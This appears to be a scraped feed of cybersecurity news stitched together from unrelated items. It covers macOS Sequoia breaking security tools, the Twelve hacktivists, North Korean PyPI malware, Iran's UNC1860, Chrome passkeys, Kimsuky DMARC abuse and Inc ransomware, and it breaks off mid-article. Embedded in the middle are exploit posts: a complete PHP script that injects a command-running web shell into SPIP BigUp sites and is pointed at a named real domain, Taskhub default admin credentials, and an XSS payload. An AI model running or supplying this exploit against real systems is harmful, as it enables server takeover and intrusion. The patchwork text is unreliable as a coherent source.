Apple’s macOS Sequoia update is causing major compatibility issues with popular security tools. Reportedly, users are facing disruptions…

Apple’s macOS Sequoia update is causing major compatibility issues with popular security tools. Reportedly, users are facing disruptions and frustration as vendors scramble to find solutions. Learn about the affected software, potential workarounds, and the latest updates on this ongoing issue.

Apple’s latest macOS update, macOS Sequoia (version 15), is reportedly causing issues with security tools from major providers like CrowdStrike, SentinelOne, ESET, and Microsoft. The update appears incompatible with several popular security tools, rendering them inoperable. The issue, which affects macOS users and enterprises, has caused frustration among those working with macOS-focused security tools. 

For your information, Apple officially launched its AI-focused macOS Sequoia on Monday. It is a new operating system, first revealed at WWDC 2024, offering exclusive features like Apple Intelligence, which uses Apple silicon to create language, images, and actions across apps, leveraging users’ personal context. 

However, the update has raised concerns for certain security-related products and applications as several security researchers and users on social media, Reddit, and a Mac-focused Slack channel reported issues with these security tools after installing Sequoia.

On Mastodon, security researcher Will Dormann reported firewall-related and DNS issues in macOS Sequoia, noting that blocking incoming connections within the macOS Sequoia firewall can also block replies to DNS requests, causing problems.

Dormann also noted a related issue affecting Chrome and Chromium-based browsers on macOS Sequoia, where blocking incoming connections for Google Chrome in the macOS firewall causes large downloads to stall.

Meanwhile, Apple has not yet addressed the concerns regarding Sequoia’s compatibility with security software such as ESET Endpoint Security and CrodStrike Falcon, and the full scope of the compatibility issues with Sequoia remains unclear.  

Most companies have advised users not to update the OS until the issue is resolved, as they are unable to support macOS Sequoia. CrowdStrike confirmed the issue and announced a delay in supporting Sequoia.

The company is waiting for Apple to release a fix before updating their software.  Similarly, ESET acknowledged network connection problems after the update but later clarified that their products are compatible with Sequoia. 

While SentinelOne initially advised users against upgrading to Sequoia, they later clarified that full support was available. However, some users still reported problems with other functionalities like firewalls and DNS configurations. 

A potential workaround shared by security researcher Wacław Jacek on his blog involves using command-line tools to adjust firewall settings for specific applications. According to Jacek, to modify firewall settings, use the CLI tool /usr/libexec/ApplicationFirewall/socketfilterfw.

This will allow your browser to access the internet again, but other software may still not function. To disable the entire firewall, open the terminal app, find the path to your web browser, run ls -l, and add your browser to the firewall using /usr/libexec/ApplicationFirewall/socketfilterfw.

Until the situation is resolved, please proceed with caution when considering the Sequoia update, especially if you rely heavily on third-party security software.

Mr. Mayuresh Dani, Manager, Security Research, at Qualys Threat Research Unit, shared his concern over the situation with Hackread.com stating, “With the release of new operating systems, all security vendors must test and qualify their releases. It is a good thing that security vendors have been proactive in this situation and have already sent out steps to take in case their systems are facing issues with the latest Mac update.”

Mayuresh highlighted that “From the looks of it, the networking stack – or the macOS Sequoia firewall to be specific – has changed because the security tools that use it to provide security are not able to do so. Not just security tools, VPNs are also having a difficult time getting a DNS resolution.”

He also suggested the following to the security teams responsible for securing Macs:

1.  Avoid updating to macOS Sequoia unless their security vendor has officially certified it for use.
2.  Turn off auto-updates to major OS releases before internal certification.
3.  Internally certify new operating system releases by installing Dev, and Beta builds of operating systems with certified software before organization-wide deployments.

Nevertheless, the importance of comprehensive testing before deploying major updates in production environments should not be ignored. It also highlights the need for organizations to have proper backup plans and alternative security measures in place. Developing a multi-layered security approach that doesn’t rely solely on a single tool or vendor can enhance overall stability.

1.  **CrowdStrike Update Causes Havoc By Disrupting Businesses**
2.  **Webroot Marked Facebook as Phishing Site, Windows as Malware**
3.  **Apple mistakenly approved malware hidden as Adobe Flash Player**
4.  **Microsoft Releases Tool to Fix CrowdStrike-Caused Windows Chaos**
5.  **Microsoft Defender Flags Tor Browser as Win32/Malgent!MTB Malware**

Apple’s macOS Sequoia Update Breaks Security Tools

A hacktivist group known as Twelve has been observed using an arsenal of publicly available tools to conduct destructive cyber attacks against Russian targets.
"Rather than demand a ransom for decrypting data, Twelve prefers to encrypt victims' data and then destroy their infrastructure with a wiper to prevent recovery," Kaspersky said in a Friday analysis.
"The approach is indicative of a

A hacktivist group known as Twelve has been observed using an arsenal of publicly available tools to conduct destructive cyber attacks against Russian targets.

"Rather than demand a ransom for decrypting data, Twelve prefers to encrypt victims' data and then destroy their infrastructure with a wiper to prevent recovery," Kaspersky said in a Friday analysis.

"The approach is indicative of a desire to cause maximum damage to target organizations without deriving direct financial benefit."

The hacking group, believed to have been formed in April 2023 following the onset of the Russo-Ukrainian war, has a track record of mounting cyber attacks that aim to cripple victim networks and disrupt business operations.

It has also been observed conducting hack-and-leak operations that exfiltrate sensitive information, which is then shared on its Telegram channel.

Kaspersky said Twelve shares infrastructural and tactical overlaps with a ransomware group called DARKSTAR (aka COMET or Shadow), raising the possibility that the two intrusion sets are likely related to one another or part of the same activity cluster.

"At the same time, whereas Twelve's actions are clearly hacktivist in nature, DARKSTAR sticks to the classic double extortion pattern," the Russian cybersecurity vendor said. "This variation of objectives within the syndicate underscores the complexity and diversity of modern cyberthreats."

The attack chains start with gaining initial access by abusing valid local or domain accounts, after which the Remote Desktop Protocol (RDP) is used to facilitate lateral movement. Some of these attacks are also carried out via the victim's contractors.

"To do this, they gained access to the contractor's infrastructure and then used its certificate to connect to its customer's VPN," Kaspersky noted. "Having obtained access to that, the adversary can connect to the customer's systems via the Remote Desktop Protocol (RDP) and then penetrate the customer's infrastructure."

Prominent among the other tools used by Twelve are Cobalt Strike, Mimikatz, Chisel, BloodHound, PowerView, adPEAS, CrackMapExec, Advanced IP Scanner, and PsExec for credential theft, discovery, network mapping, and privilege escalation. The malicious RDP connections to the system are tunneled through ngrok.

Also deployed are PHP web shells with capabilities to execute arbitrary commands, move files, or send emails. These programs, such as the WSO web shell, are readily available on GitHub.

In one incident investigated by Kaspersky, the threat actors are said to have exploited known security vulnerabilities (e.g., CVE-2021-21972 and CVE-2021-22005) in VMware vCenter to deliver a web shell that then was used to drop a backdoor dubbed FaceFish.

"To gain a foothold in the domain infrastructure, the adversary used PowerShell to add domain users and groups, and to modify ACLs (Access Control Lists) for Active Directory objects," it said. "To avoid detection, the attackers disguised their malware and tasks under the names of existing products or services."

Some of the names used include "Update Microsoft," "Yandex," "YandexUpdate," and "intel.exe."

The attacks are also characterized by the use of a PowerShell script ("Sophos\_kill\_local.ps1") to terminate processes related to Sophos security software on the compromised host.

The concluding stages entail using the Windows Task Scheduler to launch ransomware and wiper payloads, but not before gathering and exfiltrating sensitive information about their victims via a file-sharing service called DropMeFiles in the form of ZIP archives.

"The attackers used a version of the popular LockBit 3.0 ransomware, compiled from publicly available source code, to encrypt the data," Kaspersky researchers said. "Before starting work, the ransomware terminates processes that may interfere with the encryption of individual files."

The wiper, identical to the Shamoon malware, rewrites the master boot record (MBR) on connected drives and overwrites all file contents with randomly generated bytes, effectively preventing system recovery.

"The group sticks to a publicly available and familiar arsenal of malware tools, which suggests it makes none of its own," Kaspersky noted. "This makes it possible to detect and prevent Twelve's attacks in due time."

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Hacktivist Group Twelve Targets Russian Entities with Destructive Cyber Attacks

A North Korean advanced persistent threat (APT) actor (aka Gleaming Pisces) tried to sneak simple backdoors into public software packages.

Source: Chronicle via Alamy Stock Photo

One of North Korea's most sophisticated threat groups has been hiding remote access malware for macOS and Linux inside of open source Python packages.

North Korean advanced persistent threats (APTs) have become notorious for certain characteristic types of cyberattack in recent years. There's the cryptocurrency scam, which can come in many forms — often a fake trading platform, where victims are lured into divulging their wallet information or downloading malware. Supply chain attacks are common, particularly via poisoned packages typosquatting on public repositories. An impish recent trend involves contracting actual, honest labor to Western companies under false pretenses, then sending the salaries earned back to Kim's state. The reverse — agents posing as tech recruiters, convincing developers to download malware — is also common.

The group, which Palo Alto's Unit 42 tracks as Gleaming Pisces (and Microsoft as Citrine Sleet), seems to have supplemented category one with category two. Active since 2018, the financially motivated, DPRK Reconnaissance General Bureau (RGB)-linked group is known for attacks weaponizing fake crypto platforms. Unit 42 now assesses with medium confidence that it was responsible for uploading a handful of malicious packages to the Python Package Index (PyPI) back in February. The packages have since been taken down.

**DPRK-Poisoned PyPI Packages**

Most packages uploaded to open source repositories are simple by nature. As Louis Lang, co-founder and chief technology officer (CTO) at Phylum recalls, "What was interesting about these packages was that there was a higher order of complexity than you typically find among benign packages."

Phylum had identified four packages worth taking a second look at: real-ids, minisound, coloredtxt, and beautifultext. The innocuous names seemed to allude to legitimate functionality, like syntax highlighting for terminal outputs.

In reality, the packages contained malicious code that would be decoded and executed upon download. The code would then run bash commands in order to retrieve and download a remote access Trojan (RAT) called "PondRAT."

PondRAT is an entirely simple backdoor, capable of just a few functions: uploading and downloading files, checking to see that an implant is active or instructing it to sleep, and executing commands issued by the operator. It is, in essence, a "light" version of PoolRAT. PoolRAT is a known Gleaming Pisces backdoor for macOS that has a half dozen more standard capabilities than its successor, like listing directories, deleting files, etc.

**No Need for Windows**

More notable than the malware itself may be the fact that its authors wrote it only for macOS and Linux systems.

Forgoing hackers' long preferred Windows operating system makes sense, though, when one considers Gleaming Pisces' typical audience. As Lang explains, "They're targeting the actual builders, CI/CD infrastructure, developer workstations — environments that are overwhelmingly going to be Linux or macOS based. Very few people are doing development on straight Windows. So if you are targeting developers, it makes sense to ship variants for these systems, because that's where your target population lives."

Developers, then, need to be alert to phishing attacks, like those fake crypto platforms and job recruitment scams. Because while it's rare that anyone might pull an unpopular, ultra-generic package from PyPI, it's entirely likely that that same package could be quietly integrated into a broader infection chain.

"If you add a package, it could have downstream impacts, where you're actually pulling in 30, 40 other packages it may \[be connected to\]. So if I was a developer, I'd be very cognizant of what I'm installing, and try to minimize the attack surface by minimizing the number packages I'm pulling in. And then, obviously, scan the packages — look for these zombies, look for high-entropy strings, look for code obfuscation," Lang suggests.

"Like we always say," he adds, "you're one update away from malware."

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Citrine Sleet Poisons PyPI Packages With Mac &amp; Linux Malware

SPIP BigUp version 4.2.15 suffers from a remote PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : SPIP BigUp 4.2.15 php code injection Vulnerability                                                                          || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.spip.net/                                                                                                       |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This exploits a php code injection vulnerability in the BigUp plugin of SPIP.    The vulnerability lies in the lister_fichiers_par_champs function, which is triggered when the bigup_retrouver_fichiers parameter is set to any value.   By exploiting the improper handling of multipart form data in file uploads, an attacker can inject and execute arbitrary PHP code on the target server.   It allows unauthenticated users to execute arbitrary code remotely via the public interface. [+] Line 143 : Set your target & payload .[+] Save Payload as poc.php and run from cmd = C:\www\test>php poc.php[+] Payload :<?phpclass indoushka {    private $targetUri;    private $formPage;    private $payload;    public function __construct($targetUri, $formPage = 'auto', $payload) {        $this->targetUri = $targetUri;        $this->formPage = $formPage;        $this->payload = $payload;    }    public function check() {        $spipVersion = $this->getSpipVersion();        if (!$spipVersion) {            return "Unable to determine the version of SPIP.";        }        echo "SPIP Version detected: " . $spipVersion . "\n";        $vulnerableRanges = [            ['start' => '4.0.0', 'end' => '4.1.17'],            ['start' => '4.2.0', 'end' => '4.2.15'],            ['start' => '4.3.0', 'end' => '4.3.1']        ];        $isVulnerable = false;        foreach ($vulnerableRanges as $range) {            if (version_compare($spipVersion, $range['start'], '>=') && version_compare($spipVersion, $range['end'], '<=')) {                $isVulnerable = true;                break;            }        }        if (!$isVulnerable) {            return "The detected SPIP version ($spipVersion) is not vulnerable.";        }        echo "SPIP version $spipVersion is vulnerable.\n";        return "SPIP version $spipVersion is vulnerable.";    }    private function getSpipVersion() {        // This function should make an HTTP request to detect the SPIP version        // Return the version or false if undetectable        return '4.3.1'; // Example version, replace with actual logic    }    private function getFormData() {        $pages = ['login', 'spip_pass', 'contact'];        if ($this->formPage !== 'auto') {            $pages = [$this->formPage];        }        foreach ($pages as $page) {            $url = $this->normalizeUri($page);            $response = $this->sendRequest('GET', $url);            if ($response['status'] === 200) {                libxml_use_internal_errors(true); // Prevent warnings from invalid HTML                $doc = new DOMDocument();                @$doc->loadHTML($response['body']);                libxml_clear_errors();                $inputs = $doc->getElementsByTagName('input');                if ($inputs->length > 1) {                    $action = $inputs->item(0)->getAttribute('value');                    $args = $inputs->item(1)->getAttribute('value');                                        if ($action && $args) {                        echo "Found formulaire_action: $action\n";                        echo "Found formulaire_action_args: " . substr($args, 0, 20) . "...\n";                        return ['action' => $action, 'args' => $args];                    }                }            }        }        return null;    }    private function normalizeUri($page) {        return rtrim($this->targetUri, '/') . '/' . ltrim($page, '/');    }    private function sendRequest($method, $url, $data = null) {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        if ($method === 'POST' && $data) {            curl_setopt($ch, CURLOPT_POST, true);            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);            curl_setopt($ch, CURLOPT_HTTPHEADER, [                'Content-Type: multipart/form-data; boundary=' . substr($data, 2, 32)            ]);        }        $response = curl_exec($ch);        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);        curl_close($ch);        return ['status' => $httpCode, 'body' => $response];    }    private function encodePayload() {        return base64_encode($this->payload);    }    public function exploit() {        $formData = $this->getFormData();        if (!$formData) {            echo "Could not retrieve formulaire_action or formulaire_action_args value from any page.\n";            return;        }        echo "Preparing to send exploit payload to the target...\n";        $encodedPayload = $this->encodePayload();        $boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16));        $postData = "--$boundary\r\n";        $postData .= 'Content-Disposition: form-data; name="formulaire_action"' . "\r\n\r\n" . $formData['action'] . "\r\n";        $postData .= "--$boundary\r\n";        $postData .= 'Content-Disposition: form-data; name="bigup_retrouver_fichiers"' . "\r\n\r\n" . $this->randomString() . "\r\n";        $postData .= "--$boundary\r\n";        $postData .= 'Content-Disposition: form-data; name="' . $this->randomString() . '[".base64_decode(\'' . $encodedPayload . '\').die()."]"; filename="' . $this->randomString() . '"' . "\r\n\r\n\r\n";        $postData .= "--$boundary\r\n";        $postData .= 'Content-Disposition: form-data; name="formulaire_action_args"' . "\r\n\r\n" . $formData['args'] . "\r\n";        $postData .= "--$boundary--\r\n";        $this->sendRequest('POST', $this->normalizeUri('spip.php'), $postData);    }    private function randomString($length = 8) {        return bin2hex(random_bytes($length / 2));    }}// Usage example:$exploit = new indoushka('https://yonnelautre.fr/', 'auto', '<?php if (isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>');$exploit->check();$exploit->exploit();?>Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

SPIP BigUp 4.2.15 Code Injection

Taskhub version 3.0.3 suffers from an ignored default credential vulnerability.

**Taskhub 3.0.3 Insecure Settings**

Posted Sep 20, 2024

Authored by indoushka

Taskhub version 3.0.3 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 7505071b9896db1b7f4f5cd911d9d07b06247bd94dbf46777a4481d4b83f1ddd

Download | Favorite | View

**Taskhub 3.0.3 Insecure Settings**

    =============================================================================================================================================| # Title     : Taskhub v3.0.3 Insecure Settings Vulnerability                                                                              || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://codecanyon.net/item/taskhub-project-management-finance-crm-tool/25685874                                            |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin@gmail.com & pass = 12345678[+] https://www/127.0.0.1/tasks.octalfoxcom/auth/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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Taskhub 3.0.3 Insecure Settings

Teacher Subject Allocation Management System version 1.0 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Teacher Subject Allocation Management System 1.0 XSS Vulnerability                                                 || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/teacher-subject-allocation-system-using-php-and-mysql/                                      |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] In the search box, put your payload.[+] use payload : <script>alert(/indoushka/);</script>[+] http://127.0.0.1/tsas/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

Teacher Subject Allocation Management System 1.0 Cross Site Scripting

An Iranian advanced persistent threat (APT) threat actor likely affiliated with the Ministry of Intelligence and Security (MOIS) is now acting as an initial access facilitator that provides remote access to target networks.
Google-owned Mandiant is tracking the activity cluster under the moniker UNC1860, which it said shares similarities with intrusion sets tracked by Microsoft, Cisco Talos, and

An Iranian advanced persistent threat (APT) threat actor likely affiliated with the Ministry of Intelligence and Security (MOIS) is now acting as an initial access facilitator that provides remote access to target networks.

Google-owned Mandiant is tracking the activity cluster under the moniker **UNC1860**, which it said shares similarities with intrusion sets tracked by Microsoft, Cisco Talos, and Check Point as Storm-0861 (formerly DEV-0861), ShroudedSnooper, and Scarred Manticore, respectively.

"A key feature of UNC1860 is its collection of specialized tooling and passive backdoors that \[...\] supports several objectives, including its role as a probable initial access provider and its ability to gain persistent access to high-priority networks, such as those in the government and telecommunications space throughout the Middle East," the company said.

The group first came to light in July 2022 in connection with destructive cyber attacks targeting Albania with a ransomware strain called ROADSWEEP, the CHIMNEYSWEEP backdoor, and a ZEROCLEAR wiper variant (aka Cl Wiper), with subsequent intrusions in Albania and Israel leveraging new wipers dubbed No-Justice and BiBi (aka BABYWIPER).

Mandiant described UNC1860 as a "formidable threat actor" that maintains an arsenal of passive backdoors that are designed to obtain footholds into victim networks and set up long-term access without attracting attention.

Among the tools includes two GUI-operated malware controllers tracked as TEMPLEPLAY and VIROGREEN, which are said to provide other MOIS-associated threat actors with remote access to victim environments using remote desktop protocol (RDP).

Specifically, these controllers are designed to provide third-party operators an interface that offers instructions on the ways custom payloads could be deployed and post-exploitation activities such as internal scanning could be carried out within the target network.

Mandiant said it identified overlaps between UNC1860 and APT34 (aka Hazel Sandstorm, Helix Kitten, and OilRig) in that organizations compromised by the latter in 2019 and 2020 were previously infiltrated by UNC1860, and vice versa. Furthermore, both the clusters have been observed pivoting to Iraq-based targets, as recently highlighted by Check Point.

The attack chains involve leveraging initial access gained by opportunistic exploitation of vulnerable internet-facing servers to drop web shells and droppers like STAYSHANTE and SASHEYAWAY, with the latter leading to the execution of implants, such as TEMPLEDOOR, FACEFACE, and SPARKLOAD, that are embedded within it.

"VIROGREEN is a custom framework used to exploit vulnerable SharePoint servers with CVE-2019-0604," the researchers said, adding that it controls STAYSHANTE, along with a backdoor referred to as BASEWALK.

"The framework provides post-exploitation capabilities including \[...\] controlling post-exploitation payloads, backdoors (including the STAYSHANTE web shell and the BASEWALK backdoor) and tasking; controlling a compatible agent regardless of how the agent has been implanted; and executing commands and uploading/downloading files.

TEMPLEPLAY (internally named Client Http), for its part, serves as the .NET-based controller for TEMPLEDOOR. It supports backdoor instructions for executing commands via cmd.exe, upload/download files from and to the infected host, and proxy connection to a target server.

It's believed that the adversary has in its possession a diverse collection of passive tools and main-stage backdoors that align with its initial access, lateral movement, and information gathering goals.

Some of the other tools of note documented by Mandiant are listed below -

*   OATBOAT, a loader that loads and executes shellcode payloads
*   TOFUDRV, a malicious Windows driver that overlaps with WINTAPIX
*   TOFULOAD, a passive implant that employs undocumented Input/Output Control (IOCTL) commands for communication
*   TEMPLEDROP, a repurposed version of an Iranian antivirus software Windows file system filter driver named Sheed AV that's used to protect the files it deploys from modification
*   TEMPLELOCK, a .NET defense evasion utility that's capable of killing the Windows Event Log service
*   TUNNELBOI, a network controller capable of establishing a connection with a remote host and managing RDP connections

"As tensions continue to ebb and flow in the Middle East, we believe this actor's adeptness in gaining initial access to target environments represents a valuable asset for the Iranian cyber ecosystem that can be exploited to answer evolving objectives as needs shift," researchers Stav Shulman, Matan Mimran, Sarah Bock, and Mark Lechtik said.

The development comes as the U.S. government revealed Iranian threat actors' ongoing attempts to influence and undermine the upcoming U.S. elections by stealing non-public material from former President Donald Trump's campaign.

"Iranian malicious cyber actors in late June and early July sent unsolicited emails to individuals then associated with President Biden's campaign that contained an excerpt taken from stolen, non-public material from former President Trump's campaign as text in the emails," the government said.

"There is currently no information indicating those recipients replied. Furthermore, Iranian malicious cyber actors have continued their efforts since June to send stolen, non-public material associated with former President Trump's campaign to U.S. media organizations."

Iran's ramping up of its cyber operations against its perceived rivals also comes at a time when the country has become increasingly active in the Middle East region.

Late last month, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) warned that the Iranian APT Lemon Sandstorm (aka Fox Kitten) has carried out ransomware attacks by clandestinely partnering with NoEscape, RansomHouse, and BlackCat (aka ALPHV) groups.

Censys' analysis of the hacking group's attack infrastructure has since uncovered other, currently active hosts that are likely part of it based on commonalities based on geolocation, Autonomous System Numbers (ASNs), and identical patterns of ports and digital certificates.

"Despite attempts at obfuscation, diversion, and randomness, humans still must instantiate, operate, and decommission digital infrastructure," Censys' Matt Lembright said.

"Those humans, even if they rely upon technology to create randomization, almost always will follow some sort of pattern whether it be similar Autonomous Systems, geolocations, hosting providers, software, port distributions or certificate characteristics."

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Iranian APT UNC1860 Linked to MOIS Facilitates Cyber Intrusions in Middle East

Google on Thursday unveiled a Password Manager PIN to let Chrome web users sync their passkeys across Windows, macOS, Linux, ChromeOS, and Android devices.
"This PIN adds an additional layer of security to ensure your passkeys are end-to-end encrypted and can't be accessed by anyone, not even Google," Chrome product manager Chirag Desai said.
The PIN is a six-digit code by default, although it's

Encryption / Digital Security

Google on Thursday unveiled a Password Manager PIN to let Chrome web users sync their passkeys across Windows, macOS, Linux, ChromeOS, and Android devices.

"This PIN adds an additional layer of security to ensure your passkeys are end-to-end encrypted and can't be accessed by anyone, not even Google," Chrome product manager Chirag Desai said.

The PIN is a six-digit code by default, although it's also possible to create a longer alpha-numeric PIN by selecting "PIN options."

This marks a change from the previous status quo where users could only save passkeys to save passkeys to Google Password Manager on Android.

While the passkeys could be used on other platforms, it was necessary to scan a QR code using the device where they were generated.

The latest change removes that step, making it a lot easier for users to sign in to online services using passkeys by simply scanning their biometrics. Google noted that support for iOS is expected to arrive soon.

This, however, requires the users to know either the Password Manager PIN or the screen lock for their Android devices before using passkeys on a new device.

"These recovery factors will allow you to securely access your saved passkeys and sync new ones across your computers and Android devices," Desai said.

The development comes as the tech giant said passkeys are being used by more than 400 million Google accounts as of May 2024. Two months later, the phishing-resistant alternative was made available to high-risk users via its Advanced Protection Program (APP).

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Chrome Users Can Now Sync Passkeys Across Devices with New Google PIN Feature

How the Kimsuky nation-state group and other threat actors are exploiting poor email security — and what organizations can do to defend themselves.

Dr. Sean Costigan, Managing Director, Resilience Strategy, Red Sift

September 20, 2024

5 Min Read

Source: Brian Jackson via Alamy Stock Photo

COMMENTARY

With heightened geopolitical tensions, a surge in cyberattacks on US and allied organizations by a North Korean cyber-espionage group is hardly unexpected. What is disquieting, however, is that an advanced persistent threat (APT) group known as Kimsuky has seen remarkable success by turning a defensive strength into a weakness — exploiting poorly configured Domain-based Message Authentication, Reporting and Conformance (DMARC) policies to carry out spear-phishing campaigns to secure advantage.

A May 2 advisory from the FBI, the National Security Agency (NSA), and the US State Department stated that Kimsuky, acting as an arm of North Korea's Reconnaissance General Bureau (RGB), has been sending spoofed emails to individuals in high-profile think tanks, media outlets, nonprofits, academia, and other organizations. The emails are part of an intelligence campaign to troll for information on geopolitics and foreign policy plans, particularly related to nuclear policies, sanctions, and other sensitive concerns involving the Korean peninsula.    

With sanctions biting, North Korea has developed a formidable cybercrime capability to generate liquidity for the regime. However, in this case, we see Kimsuky threat actors alter their focus to intelligence operations, targeting troves of information held by trusted parties and prominent organizations. Although the ongoing campaign has complex geopolitical implications, effectively defending against these attacks fundamentally relies on robust, actionable, and properly executed cyber-hygiene practices.

Related:Singapore Arrests 6 Suspected Members of African Cybercrime Group

**DMARC Misconfigurations Are Too Common**

Kimsuky is using trusted networks with improperly configured or missing DMARC to spoof legitimate domains and impersonate trusted personalities and organizations. The DMARC protocol was created to stop the compromise of user accounts and hinder the very types of social engineering at work here.

This is how it's supposed to work: DMARC allows email recipients to verify an email's origin through the Domain Name System (DNS), ensuring that threat actors cannot spoof legitimate domains. DMARC checks the Sender Policy Framework (SPF) and DomainKeys Identified Mail (DKIM) records for an incoming email and, if it does not appear to be legitimate, tells the receiving email server what to do next.

But as Kimsuky's attacks have shown, that only works if DMARC services are properly configured. As the IC3 advisories detail, misconfigurations are far too common or policies are poorly defined by the domain owners. For some organizations, self-managing DMARC may seem cost-effective, but it can also lead to significant oversights, including increasing vulnerabilities, failing to pay heed to evolving threats, missing sound compliance reporting, and creating a false sense of security.  

Related:Indian Army Propaganda Spread by 1.4K AI-Powered Social Media Accounts

**What North Korea's Attack Looks Like**

Kimsuky's spear-phishing campaigns may begin with an innocuous email from a seemingly credible source, building trust before sending a subsequent email with a malicious link or attachment. The group then uses successful compromises to escalate attacks with more credible spear-phishing emails aimed at higher-value targets.

The group focuses its intelligence-gathering activities against South Korea, Japan, and the United States, targeting individuals identified as experts in various fields. According to a subsequent advisory from the Cybersecurity and Infrastructure Security Agency (CISA), think tanks and South Korean government entities have also been targeted.  

One real-world example from the FBI-NSA advisory had a subject line reading: "\[Invitation\] US Policy Toward North Korea Conference." The message, seemingly from a known university, begins: "I hope you and your family are enjoying a lovely holiday and a restful season. It is my privilege to invite you to provide a keynote address for a private workshop, hosted by the \[legitimate think tank\] to discuss the U.S. policy toward North Korea." As further inducement, the email also offers a $500 speaker's fee.

Related:Chinese Threat Actors Use MSI Files to Bypass Windows, VT Detection

Another email had the subject line "Questions about N. Korea," with the writer posing as a journalist from a legitimate media outlet and requesting an interview, followed by a broad outline of North Korea's nuclear activities.

In the university example, the email received a "pass" from SPF and DKIM checks, suggesting the attacker gained access to the university's legitimate email client. And although DMARC returned a "fail" because the sender's email domain differed from SPF and DKIM records for the legitimate source, the organization's DMARC policy was not set to take filtering action, so the message was delivered. In the second case, no DMARC policy was present, allowing the attacker to spoof the journalist's name and the news organization's email domain.

**Why DMARC Matters**

The US government's advisories offer compelling reasons for organizations to secure their digital estates. Kimsuky is not alone among APTs nor, more broadly, cybercriminals who work for profit: Lessons are shared and all are becoming increasingly savvy at targeting misconfigurations and weaknesses.

Securing and properly configuring DMARC is key since it improves organizational cyber hygiene and broadly protects against ubiquitous threats like business email compromise and ransomware email attacks.

Notably, industry or regulatory requirements may already make DMARC a requirement for your organization. As of February 2024, Google and Yahoo have required DMARC for organizations sending large volumes of email, and Microsoft is reportedly planning to follow suit. Additionally, the PCI DSS 4.0 requires implementation of DMARC. According to BIMI Radar, since the FBI's May 2 advisory, DMARC adoption globally has grown from 3.74 million organizations to 5.71 million organizations, as of June 17. 

There's a business imperative at work as well. Organizations must prioritize cyber hygiene to safeguard their digital assets, prevent data breaches, and protect against evolving cybersecurity threats. DMARC should be part of your organization's cyber posture. When properly managed, not only does it ensure better deliverability, provide protection against phishing and business email compromise (BEC), and enable the deployment of Brand Indicators for Message Identification (BIMI), but it can help close doors against nation-state espionage and cybercrime.

**About the Author**

Managing Director, Resilience Strategy, Red Sift

Sean Costigan is an expert in emerging security challenges and a highly sought-after speaker on technology and national security. He is the lead for NATO’s cybersecurity curriculum and is widely published on national security matters relating to information security and hybrid threats. He is also a Professor at the George C. Marshall Center, where he educates on global cybersecurity, hybrid warfare, crime, and national security.

North Korean APT Bypasses DMARC Email Policies in Cyber-Espionage Attacks

Inc ransomware — one of the most popular among cybercriminals today — meets healthcare, the industry sector most targeted by RaaS.

Source: Photo 12 via Alamy Stock Photo

Inc ransomware is on the rise, with one well-known threat actor recently using it to target American healthcare organizations.

Vice Society, which Microsoft tracks as Vanilla Tempest, has been active since July 2022. In that time, the Russian-speaking group has made use of various families of ransomware to aid its double extortion attacks, including BlackCat, Hello Kitty, Quantum Locker, Rhysida, Zeppelin — including its own variant — and its own, eponymous program.

In a series of posts on X, Microsoft Threat Intelligence Center (MSTIC) flagged the group's latest weapon: Inc ransomware.

"Vanilla Tempest is one of the most active ransomware operators MSTIC tracks," says Jeremy Dallman, senior director of threat intelligence for MSTIC. "While we've seen them targeting healthcare for quite a while, the notable shift here is their use of an Inc ransomware payload as they leverage the larger ransomware-as-a-service ecosystem."

**Vice Society's Latest Foray into Healthcare**

Vice Society flirts with various industries, including IT and manufacturing, but it's best known for its campaigns against the education and healthcare sectors.

In that sense, it's in line with the broader threat landscape. According to Check Point Research, healthcare is the industry most frequently targeted by ransomware actors. Other kinds of cybercriminals like it too, evidently, with global healthcare organizations experiencing an average of 2,018 attacks per week, a 32% rise over last year.

It only makes sense, warns Cindi Carter, Check Point's CISO for the Americas. Besides being hamstrung by outdated legacy technology and bureaucracy, "The type of data that healthcare organizations capture, create, and share is of high value to cybercriminals," she says. "Your medical record is the single most identifiable piece of digital information about you besides your own fingerprint," she says.

In recent activity leveraging the healthcare sector's inherent weaknesses, Vice Society received initial access to victims that previously had been infected with the Gootloader backdoor-loader. Then it deployed tools including the Supper backdoor, AnyDesk's remote monitoring and management (RMM) solution, and MEGA's data synchronization tool, the latter two of which are legitimate commercial products. The group used Remote Desktop Protocol (RDP) to perform lateral movement in affected networks, and abused the Windows Management Instrumentation (WMI) provider host to drop Inc ransomware.

**The Rise of Inc Ransomware**

